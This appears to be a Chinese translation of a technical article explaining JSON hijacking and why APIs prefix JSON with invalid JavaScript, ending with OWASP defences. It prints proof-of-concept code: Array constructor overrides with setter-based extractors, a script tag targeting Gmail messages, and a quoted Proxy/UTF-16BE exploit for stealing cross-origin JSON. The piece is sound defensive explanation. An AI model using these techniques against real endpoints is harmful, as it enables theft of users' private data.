作者 | Antony Garand
譯者 | 無明
如果你有在瀏覽器中查看過發給大公司 API 的請求，你可能會注意到，JSON 前面會有一些奇怪的 JavaScript：
為什么他們會用這幾個字節來讓 JSON 失效？
為了保護你的數據
如果沒有這些字節，那么有可能任何網站都可以訪問這些數據。
這個漏洞被稱為 JSON 劫持：
https://lmddgtfy.net/?q=JSON%20hijacking
也就是網站可以從這些 API 中提取 JSON 數據。
起 源
在 JavaScript 1.5 及更早版本中，可以覆蓋原始類型對象的構造函數，并使用括號調用覆蓋的版本。
你可以這樣：
function Array(){
alert('You created an array!');
}
var x = [1,2,3];
這樣就會彈出 alert！
使用以下腳本替換 var x，攻擊者就可以閱讀你的電子郵件！
這是通過在加載外部腳本之前覆蓋 Array 構造函數來實現的。
<script src="https://gmail.com/messages"></script>
數據提取
即使你重載了構造函數，仍然可以通過 this 來訪問它。
這是一個代碼片段，它將 alert 數組的所有數據：
function Array() {
var that = this;
var index = 0;
// Populating the array with setters, which dump the value when called
var valueExtractor = function(value) {
// Alert the value
alert(value);
// Set the next index to use this method as well
that.__defineSetter__(index.toString(),valueExtractor );
index++;
};
// Set the setter for item 0
that.__defineSetter__(index.toString(),valueExtractor );
index++;
}
在創建數組后，它們的值將被 alert 出來！
ECMAScript 4 提案中已修復了這個問題，我們現在無法再覆蓋大多數原始類型的原型，例如 Object 和 Array。
盡管 ES4 從未發布，但主要瀏覽器在發現后很快就修復了這個漏洞。
在今天的 JavaScript 中，你仍然可以使用類似的行為，但它受限于你創建的變量，或者不使用括號創建的對象。
這是之前的一個修訂版本：
// Making an array
const x = [];
// Making the overriden methods
x.copy = [];
const extractor = (v) => {
// Keeping the value in a different array
x.copy.push(v);
// Setting the extractor for the next value
const currentIndex = x.copy.length;
x.__defineSetter__(currentIndex, extractor);
x.__defineGetter__(currentIndex, ()=>x.copy[currentIndex]);
// Logging the value
console.log('Extracted value', v);
};
// Assigning the setter on index 0
x.__defineSetter__(0, extractor);
x.__defineGetter__(0, ()=>x.copy[0]);
// Using the array as usual
x[0] = 'zero';
x[1] = 'one';
console.log(x[0]);
console.log(x[1]);
這是一個使用 Array 關鍵字創建數組的版本：
function Array(){
console.log(arguments);
}
Array("secret","values");
如你所見，你添加到數組中的數據被記錄下來，但功能保持不變！
修復方案并沒有阻止使用 Array 來創建數組，而是在使用括號創建對象時強制使用原生實現，而不是自定義函數。
這意味著我們仍然可以創建一個 Array 函數，但不能與方括號（[1,2,3]）一起使用。
如果我們使用 x = new Array(1,2,3) 或 x = Array(1,2,3)，它仍將被調用，但不會給 JSON 劫持留下可趁之機。
新的變體
我們知道舊版本的瀏覽器很容易受到這個漏洞的攻擊，那么現在呢？
隨著最近 EcmaScript 6 的發布，添加了很多新功能，例如 Proxies！
來自 Portswigger 的 Gareth Heyes 在博客（https://portswigger.net/blog/json-hijacking-for-the-modern-web）上介紹了這個漏洞的新變體，它仍然允許我們從 JSON 端點竊取數據！
通過使用 Proxies（而不是 Accessor），我們可以竊取到任意創建的變量，無論它的名稱是什么。
它可以像 Accessor 一樣，但可以訪問任意可訪問或寫入屬性。
使用這個和另外一個技巧，就可以再次竊取數據！
UTF-16BE 是一個多字節字符集，一個字符由兩個字節組成。例如，如果你的腳本以 [“作為開頭，它將被視為字符 0x5b22 而不是 0x5b 0x22。0x5b22 恰好是一個有效的 JavaScript 變量 =)。
使用這個腳本：
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
通過使用這個腳本中的一些受控數據和移位腳本，我們就可以再次滲透數據！
這是 Gareth 最后的 POC，摘自他的博文：
<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
}
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->
我不會深入解釋這個方法，而是建議你閱讀他的帖子，以獲取更多信息。
預 防
以下是 OWASP 的官方建議：
https://www.owasp.org/index.php/AJAX_Security_Cheat_Sheet#Always_return_JSON_with_an_Object_on_the_outside
- 使用 CSRF 保護，如果不存在安全標頭或 csrf 令牌，就不返回數據，以防止被利用。
- 始終將 JSON 作為對象返回。
最后的解決方案很有趣。
在 Firefox 和 IE 中，這個是有效的：
x = [{"key":"value"}]
x = {"key":"value"}
[{"key":"value"}]
{key: "value"}
但這樣不行：
{"key":"value"}
它之所以無效是因為 Firefox 和 IE 認為括號是塊語句的開頭，而不是創建對象。
沒有引號的符號{key:“value”}被視為標簽，值被視為一個語句。
結 論
雖然這些東西在今天可能是無效的，但我們永遠不會知道明天將會帶來什么新的錯誤，因此我們仍應盡力阻止 API 被利用。
如果我們把這個 StackOverflow 答案視為理所當然，我們就很容易受到現代變體的影響，因此仍然可能被黑客入侵：
https://stackoverflow.com/questions/16289894/is-json-hijacking-still-an-issue-in-modern-browsers
谷歌和 Facebook 在 JSON 數據之前添加無效的 JavaScript 或無限循環，OWASP 也列出了其他替代方案。
英文原文
https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob
本文彩蛋
硅谷一直以其“不斷創新、鼓勵冒險、包容失敗、崇尚競爭、平等開放”的文化聞名于世。許多公司從一個靈感迸發的火苗，在這里長成參天大樹，Facebook 正是其中典范。究竟硅谷公司里有哪些令人著迷的工程師文化，可以讓人管中窺豹略見一斑呢？關注微信公眾號InfoQ 并后臺回復關鍵詞：硅谷1，獲取一篇以 Facebook 為例的項目開發流程和工程師的績效管理機制文章。
